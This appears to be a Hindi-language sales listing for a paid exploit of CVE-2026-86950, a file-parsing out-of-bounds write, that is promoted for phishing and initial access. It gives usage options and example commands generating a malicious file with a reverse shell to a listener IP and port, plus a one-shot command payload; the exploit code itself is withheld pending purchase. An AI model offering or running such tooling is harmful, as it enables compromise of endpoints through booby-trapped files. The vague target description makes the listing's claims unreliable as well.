CVE-2026-86950 / EUVD-2026-88445 - फ़ाइल प्रोसेसिंग आउट-ऑफ़-बाउंड्स राइट RCE

विवरण

CVE-2026-86950 (CWE-787)।
विशेष रूप से तैयार की गई फ़ाइल को पार्स करते समय आउट-ऑफ़-बाउंड्स राइट। size/offset फ़ील्ड पर सीमा-जाँच (bounds checks) की अनुपस्थिति नियंत्रित हीप करप्शन की अनुमति देती है जब लक्ष्य एप्लिकेशन उस फ़ाइल को प्रोसेस करता है।

अप्रमाणित (unauthenticated) हमलावर फ़ाइल वितरित करता है (ईमेल, डाउनलोड, शेयर)। उपयोगकर्ता इंटरैक्शन आवश्यक है (खोलना/प्रोसेस करना)। कोड पार्सिंग एप्लिकेशन के विशेषाधिकारों के साथ निष्पादित होता है।

रेड-टीम फ़िशिंग/स्पीयर-फ़िशिंग अभियानों, एंडपॉइंट्स पर प्रारंभिक एक्सेस, और नेटवर्क प्रमाणीकरण के बिना नियंत्रित कोड निष्पादन के लिए उपयोगी।

एक्सप्लॉइट

डाउनलोड

आवश्यकताएँ

• Python 3.10+
• वह लक्ष्य एप्लिकेशन जो कमज़ोर फ़ाइल फ़ॉर्मेट को प्रोसेस करता है (सामान्य दस्तावेज़/छवि व्यूअर)
• हमलावर की ओर से किसी विशेष विशेषाधिकार की आवश्यकता नहीं

विशेषताएँ

• एक ही दुर्भावनापूर्ण फ़ाइल उत्पन्न करता है जो OOB राइट को ट्रिगर करती है
• नियंत्रित हीप करप्शन जो मनमाने कोड निष्पादन की ओर ले जाता है
• पेलोड विकल्प: रिवर्स शेल, कमांड निष्पादन, इन-मेमोरी लोडर
• न्यूनतम फ़ुटप्रिंट – किसी अतिरिक्त ड्रॉपर की आवश्यकता नहीं
• मानक फ़ाइल वितरण के साथ काम करता है (ईमेल अटैचमेंट, ब्राउज़र डाउनलोड, नेटवर्क शेयर)

इंस्टॉलेशन

खरीद के बाद आपको पूरा पैकेज आर्काइव प्राप्त होता है।
इसे एक्सट्रैक्ट करें और निर्भरताएँ इंस्टॉल करें:

pip install -r requirements.txt

उपयोग

python exploit.py [options]
  -o, --output       <file>          आउटपुट दुर्भावनापूर्ण फ़ाइल (आवश्यक)
  -p, --payload      <type>          reverse | cmd | custom (डिफ़ॉल्ट: reverse)
  -L, --lhost        <ip>            लिसनर IP (रिवर्स के लिए)
  -P, --lport        <port>          लिसनर पोर्ट (रिवर्स के लिए)
  -c, --cmd          <command>       निष्पादित करने के लिए एकल कमांड
  --arch             x64|x86         लक्ष्य आर्किटेक्चर (डिफ़ॉल्ट: x64)

उदाहरण (रिवर्स शेल):

python exploit.py -o evil.file -p reverse -L 192.168.1.50 -P 4444

उदाहरण (वन-शॉट कमांड):

python exploit.py -o evil.file -p cmd -c "whoami > C:\\temp\\out.txt"

उत्पन्न फ़ाइल को लक्ष्य तक पहुँचाएँ। जब इसे कमज़ोर एप्लिकेशन द्वारा खोला/प्रोसेस किया जाता है, तो OOB राइट ट्रिगर होता है और पेलोड निष्पादित होता है।

लाइसेंस

केवल अधिकृत रेड-टीम / पेनेट्रेशन टेस्टिंग उपयोग के लिए। अनधिकृत उपयोग अवैध है।
पूरा पैकेज केवल खरीद के बाद उपलब्ध है।